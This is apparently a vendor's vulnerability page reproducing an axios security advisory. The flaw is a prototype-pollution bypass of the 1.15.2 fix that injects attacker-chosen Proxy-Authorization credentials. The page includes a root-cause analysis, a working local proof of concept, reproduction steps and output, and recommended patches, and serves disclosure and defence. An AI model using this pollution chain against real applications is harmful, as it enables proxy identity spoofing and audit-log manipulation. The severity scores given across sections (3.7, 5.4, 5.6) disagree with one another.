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LOW severity

GHSA-654m-c8p4-x5fp

LOW

GHSA-654m-c8p4-x5fp is a low-severity (CVSS 3.7) CWE-113 vulnerability in axios. O3 Security confirms whether GHSA-654m-c8p4-x5fp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

Also known asCVE-2026-44489
Published
May 29, 2026
Updated
Jun 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-654m-c8p4-x5fp.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs14th percentile — riskier than 14% of all scored CVEsHighest risk
0.00%0.24%0.49%0.73%0.2%0.2%0.2%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-654m-c8p4-x5fp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 365,017 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

179Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
axiosnpm
100.3Mdownloads / week

Description

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

MetricValueJustification
Attack VectorNetworkPP triggered remotely via vulnerable dependency
Attack ComplexityHighRequires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedWithin the proxy authentication context
ConfidentialityLowAttacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack)
IntegrityLowProxy-Authorization header injected; proxy may apply different access policies based on injected identity
AvailabilityLowIf proxy rejects the injected credentials, legitimate requests may fail

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

FactorGHSA-q8qp-cvcw-x6jjThis Finding
PreconditionNone — all requests affectedMust have config.proxy set
config.baseURL PPHijacks all relative URL requestsNot applicable
config.auth PPInjects Authorization to target serverOnly injects Proxy-Authorization to proxy
Attacker sees trafficYes (via baseURL redirect)No — only proxy identity affected
Impact scopeUniversal — every axios requestOnly requests with explicit proxy config

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

LayerProtectionStatus
config (top-level)Object.create(null)✓ Fixed
config.proxy (nested)utils.merge()const result = {}✗ NOT Fixed
setProxy() readsproxy.username, proxy.auth without hasOwnProperty✗ NOT Fixed

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Complete Attack Chain

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

Reproduction Steps

# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install

# 2. Save PoC as poc.mjs (code from Section 7 above)

# 3. Run
node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false

## Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted

## Recommended Fix

### Fix 1: Use `hasOwnProperty` in `setProxy()`

```javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

    if (hasOwn(proxy, 'username')) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (hasOwn(proxy, 'auth')) {
      // ... existing auth handling ...
    }
  }
}

Fix 2: Use null-prototype objects in utils.merge()

// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
  const result = Object.create(null);  // ← null-prototype for nested objects too
  // ...
}

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmaxios1.15.2&&< 1.16.01.16.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-654m-c8p4-x5fp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-654m-c8p4-x5fp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-654m-c8p4-x5fp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2 ## Summary The `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain. The `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When
O3 Security · Impact-Aware SCA

Is GHSA-654m-c8p4-x5fp in your dependencies?

O3 detects GHSA-654m-c8p4-x5fp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-654m-c8p4-x5fp: axios (Low 3.7) | O3 Security